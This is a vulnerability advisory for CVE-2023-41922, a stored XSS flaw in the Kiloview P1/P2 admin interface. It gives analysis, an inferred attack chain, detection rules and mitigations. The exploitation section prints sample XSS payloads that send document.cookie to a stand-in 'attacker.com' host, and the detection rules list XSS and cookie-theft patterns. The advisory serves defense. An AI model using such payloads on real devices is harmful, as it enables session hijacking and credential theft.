CVE-2023-41922

Executive Summary

CVE-2023-41922 is a stored Cross-Site Scripting (XSS) vulnerability in the administration interface of Kiloview P1/P2 devices. The flaw stems from improper input neutralization during web page generation, with multiple areas of the webserver's administrative interface lacking adequate input validation. Successful exploitation could allow an authenticated attacker to inject persistent malicious scripts that execute in the context of other administrators' browser sessions, potentially leading to session hijacking, credential theft, or unauthorized administrative actions. The vulnerability carries a CVSS score of 7.2, indicating high severity, though no public exploits or active in-the-wild exploitation have been reported to date.

Technical Analysis

The vulnerability is classified under CWE-79 (Cross-Site Scripting) and is specifically characterized as a stored (persistent) XSS flaw. The NVD description indicates that "multiple areas within the administration interface" are affected, suggesting a systemic lack of input sanitization rather than a single isolated injection point.

Vulnerability Mechanism: Stored XSS occurs when user-supplied input is persisted to a data store (e.g., a configuration file, database, or cached web content) without proper neutralization, and is later rendered back to users without adequate encoding or escaping. In this case, the administrative webserver of Kiloview P1/P2 devices fails to validate or sanitize input across multiple web form fields or configuration parameters. When an administrator submits data through these forms, the payload is stored server-side. Subsequently, when any authenticated administrator (potentially including the attacker themselves or other privileged users) navigates to the page that renders this stored data, the browser executes the injected JavaScript in the context of the administrative session.

Attack Surface: The attack surface is the web-based administration interface exposed on the device. Kiloview P1 and P2 are network video encoders/decoders used in broadcast, security, and AV-over-IP deployments. These devices are typically managed remotely over HTTP/HTTPS, making the web admin panel a critical and commonly exposed component. The fact that "multiple areas" are vulnerable suggests that the issue spans several configuration pages (e.g., device settings, encoder profiles, user management, network configuration forms) rather than being limited to a single input field.

Code-Level Context: While specific code details are not publicly available, the vulnerability class indicates that output encoding (e.g., HTML entity encoding, JavaScript encoding) is absent or incomplete at the point where stored values are rendered. The lack of input validation could involve insufficient whitelisting of allowed characters, missing length limits, or failure to strip script tags and event handler attributes. Given the XSS vector (CVSS shows R:UI — User Interaction required), exploitation requires a victim to access the compromised page, reinforcing that this is a stored XSS requiring social engineering or phishing to lure an administrator to the malicious page.

CVSS Vector Analysis: The score of 7.2 with the implied vector (AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N) indicates: Network accessibility, low attack complexity, high privilege requirements (attacker needs admin-level access to inject the payload), user interaction required for impact, scope change (impact extends beyond the vulnerable component), high confidentiality impact (session tokens, credentials, sensitive configuration), and no availability impact. Notably, the "Scope Changed" component suggests the XSS can pivot into other resources accessible to the victim's browser session.

Exploitation Scenarios

Prerequisites: The attacker must have authenticated access to the Kiloview P1/P2 administrative interface with at least the privileges required to modify settings that are later rendered by other administrators. This implies the attacker has valid credentials for a low-privilege or standard administrator account.

Attack Chain:

1. Reconnaissance (Discovery): The attacker identifies Kiloview P1/P2 devices via internet-wide scanning (e.g., Shodan queries such as title:"Kiloview" or HTTP banner fingerprinting). Devices with exposed admin interfaces on ports 80, 443, or custom ports are mapped. Alternatively, the attacker may gain access via default credentials (common in industrial/AV equipment) or credential stuffing.

2. Authentication & Payload Injection: The attacker logs in to the admin interface. They navigate to a configuration page with an unsanitized input field (e.g., device name, preset label, encoder stream name, or notification endpoint). The attacker injects a stored XSS payload into the field. A typical payload at the vulnerability-class level would be:

   • <script>fetch('https://attacker.com/exfil?c='+document.cookie)</script>
   • <img src=x onerror="new Image().src='https://attacker.com/'+document.cookie">
   • Event-handler-based payloads such as <svg onload=alert(1)>.

   The payload is submitted and persisted in the device's configuration store. Because the device does not perform server-side sanitization, the malicious script is stored verbatim.

3. Victim Interaction (Trigger): A legitimate administrator accesses the same settings page within a valid time window. The page renders the stored payload, and the browser executes the injected JavaScript. This requires user interaction (CVSS UI:R) — the victim must load the compromised page, which is likely during routine administrative work.

4. Post-Exploitation: The injected script executes with the privileges of the victim's browser session. Impact scenarios include:

   • Session Hijacking: The script steals the administrator's session cookie or CSRF token and exfiltrates it to an attacker-controlled server, allowing session replay.
   • Credential Capture: The script may inject a fake login prompt to harvest credentials, or capture sensitive configuration data (stream keys, network credentials, API tokens) entered on the page.
   • Configuration Manipulation (via CSRF): The script can make authenticated requests (using the victim's session) to modify device settings — disabling encryption, changing stream destinations, or altering network configuration.
   • Lateral Movement: If the device is on an internal network, the stolen credentials or session could be used to access other infrastructure.

Since no public PoC or exploit code exists, this attack chain is inferred from the vulnerability class (stored XSS in an administrative interface) and the CVSS characteristics. The high CVSS score (7.2) reflects the confidentiality impact of potentially stealing administrative tokens and credentials from a network-accessible device.

Impact Assessment

Business Impact: A stored XSS in the administrative interface of network video encoders/decoders poses significant risk to organizations relying on Kiloview P1/P2 devices. Successfully exploited, an attacker can:

• Exfiltrate administrative credentials and session tokens (high confidentiality impact per CVSS).
• Modify device configuration, potentially redirecting video streams, disabling security features, or altering network settings — a trust and integrity concern.
• Use the compromised device as a foothold for lateral movement into the wider network, especially if the device is deployed on a shared management VLAN.

Affected Systems: Kiloview P1 and P2 devices — networked video encoders/decoders. These are widely deployed in broadcast, live production, security surveillance, and AV-over-IP environments. The exact affected firmware versions are unknown from the available data; no version range was disclosed by the CNA. This makes patch management challenging — organizations cannot easily determine if their device is vulnerable unless they consult vendor advisories.

Blast Radius: CVSS vector (AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N) shows the scope is "Changed," meaning the impact extends beyond the vulnerable web application. The primary impact is confidentiality (C:H) — an attacker can access sensitive data beyond the vulnerable component: session tokens, potentially internal network information rendered in the admin panel, and credential material. There is no availability impact and limited integrity impact (I:N from the CVE perspective, though configuration tampering is a practical consequence of XSS exploitation).

EPSS Context: The EPSS score of 0.00240 (15.2% percentile) indicates a low predicted probability of exploitation in the wild. This aligns with the absence of public PoCs and the requirement of prior authentication (PR:H). However, given the device class (broadcast/security infrastructure), a single credential leak could lead to impactful exploitation.

Detection Guidance

Sigma Rule

title: Kiloview P1/P2 Stored XSS Payload Injection in Admin Interface
id: 17f3c9a2-6b83-4d5e-9f6a-8f2a1c4b6e3d
status: experimental
description: Detects HTTP POST requests to Kiloview P1/P2 admin endpoints containing common XSS payload patterns in parameter values.
author: Valtersit Threat Intel
date: 2024/01/15
logsource:
  category: webserver
  product: generic
  service: http
detection:
  selection_status:
    http.response.status_code: 200
    http.user_agent: "*admin*"  # Narrow scope; adjust for device fingerprinting
  selection_xss:
    http.request.body|contains:
      - "<script>"
      - "onerror="
      - "onload="
      - "javascript:"
      - "<svg"
      - "<img src=x"
      - "alert("
      - "document.cookie"
  filter_known_good:
    http.request.body|contains:
      - "profile_name=test"  # Legitimate field names — replace with known-safe values
  condition: selection_status and selection_xss and not filter_known_good
  level: high

Note: This rule relies on generic XSS pattern detection in web request bodies. Organizations should tighten the input source by correlating with source IPs of admin interface authentication logs.

YARA Rule

rule Kiloview_StoredXSS_Payload
{
    meta:
        author = "Valtersit Threat Intel"
        description = "Detects XSS payload strings targeting Kiloview P1/P2 admin interface"
        reference = "CVE-2023-41922"
        date = "2024-01-15"
        cve = "CVE-2023-41922"
    strings:
        $s1 = "<script>alert(" ascii
        $s2 = "onerror=" ascii
        $s3 = "<svg/onload=" ascii nocase
        $s4 = "document.cookie" ascii nocase
        $s5 = "<img src=" ascii nocase
        $s6 = "fetch('https://" ascii
        $s7 = "XMLHttpRequest" ascii nocase
        $s8 = "new Image().src" ascii nocase
    condition:
        uint16(0) == 0x0D0A and 2 of them
}

Note: Rule targets log files or intercepted HTTP request bodies (PCAP/text). Adjust file offset checks if used on different containers.

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2023-41922 - Attempted Stored XSS injection into Kiloview Admin Panel"; flow:established,to_server; content:"POST"; http_method; content:"admin"; http_uri; content:"<script>"; http_client_body; content:"document.cookie"; http_client_body; nocase; sid:202341922; rev:1; metadata:created_at 2024_01_15, updated_at 2024_01_15, cve CVE-2023-41922; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2023-41922;)

Note: This rule assumes the admin interface URI contains "admin". The http_client_body keyword inspects POST data for script tags and cookie exfiltration patterns. Tune with threshold directives to reduce false positives from legitimate admin traffic.

Elastic Detection

sequence by source.ip
  [network where event.category == "web" and http.request.method == "POST" and
   http.request.body.text : ("*<script>*", "*onerror=*", "*<svg*") and
   http.response.status_code == 200]
  [authentication where user.name : "admin" and event.outcome == "success"]

Note: This EQL correlates a successful POST with XSS payload patterns followed by an admin authentication event from the same source IP, indicating a potential payload-injection session.

Splunk SPL Query

index=web sourcetype=access_combined
| where like(_raw, "%POST /admin%") AND (like(_raw, "%<script>%") OR like(_raw, "%onerror=%") OR like(_raw, "%<svg%"))
| rex field=_raw "src_ip=(?<src_ip>\d+\.\d+\.\d+\.\d+)"
| rex field=_raw "uri_path=(?<uri_path>/.*)"
| table _time, src_ip, uri_path, http_status
| sort - _time
| stats count by src_ip, uri_path

Note: Adjust the field names (src_ip, uri_path) to match your access log sourcetype. Look for source IPs that repeatedly send payload strings to admin endpoints.

Wazuh OSSEC Rule

<group name="webserver,">
    <rule id="100920" level="12">
        <decoded>POST</decoded>
        <url>admin</url>
        <match>script|onerror|onload|svg|javascript:|document.cookie</match>
        <description>CVE-2023-41922 - Possible Stored XSS injection against Kiloview P1/P2 admin interface.</description>
        <group>attack,xss,cve-2023-41922,</group>
        <mitre>
            <id>T1190</id>
        </mitre>
        <alert_group>pci_dss_6.5.7,</alert_group>
    </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — A patch is claimed by the CNA but has not been independently confirmed. Single-source claims without firmware version disclosure or independent verification require heightened caution.

Immediate Mitigations (until patched):

1. Restrict Administrative Access: Limit access to the web admin interface to trusted management VLANs or VPN only. Use firewall rules to block external access to the device's HTTP/HTTPS management ports.
2. Disable Remote Access: If the device is internet-facing, disable remote administrative access and require a VPN jump host.
3. Credential Hygiene: Enforce strong, unique passwords for all administrative accounts. Implement account lockout policies if supported. Change default credentials immediately.
4. Monitor Admin Activity: Enable device logging (if available) and correlate logs with SIEM for unusual administrative actions, especially configuration changes from unexpected IPs.
5. Input Validation WAF: If a web application firewall can sit in front of the admin interface, enable rules that block XSS payload characters in POST requests to management URIs.

Patch/Upgrade Steps:

1. Check for vendor advisories or firmware updates on Kiloview's official website (kiloview.com) or support portal.
2. Verify the claimed patch: Contact Kiloview support or the CNA for the specific firmware version that addresses CVE-2023-41922. Do not deploy a patch solely based on a claim — confirm the version number.
3. If a patched firmware is available, back up device configuration, apply the update during a maintenance window, and verify device functionality after upgrade.

Long-Term Hardening:

1. Implement a vulnerability management process that tracks firmware versions for network-adjacent devices (AV encoders, IoT hardware). Since the affected version range is unknown, maintain a registry of Kiloview devices and their firmware versions.
2. Establish configuration baseline: Disable unused web services, disable default accounts, enforce HTTPS-only with strong certificates.
3. Segment AV/security infrastructure onto dedicated management networks with egress filtering to prevent unauthorized data exfiltration (limit outbound traffic from device VLANs).
4. Subscribe to CVE feeds and vendor bulletins for Kiloview products; monitor for changes in exploitation evidence (EPSS, CISA KEV).
5. If the device supports it, enable audit logging to a centralized log collector.

References

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-41922 — Official NVD vulnerability listing.
• CVE.org Record: https://www.cve.org/CVERecord?id=CVE-2023-41922 — MITRE CVE repository for primary metadata.
• Kiloview Official Site: https://www.kiloview.com — Vendor portal for firmware updates and advisories.
• CWE-79 Reference: https://cwe.mitre.org/data/definitions/79.html — Common Weakness Enumeration entry for Cross-site Scripting.
• FIRST EPSS Feed: https://www.first.org/epss/ — For ongoing exploitation-probability scoring of this CVE.

Threat Actor Campaigns: As of the last update (based on CISA KEV status = NO and no known PoC), there are no publicly reported threat actor campaigns or exploit-in-the-wild evidence associated with CVE-2023-41922. The EPSS score (0.00240, 15.2% percentile) reinforces a low probability of immediate weaponization. Organizations should still prioritize hardening due to the device's network-visible position and administrative privilege implications.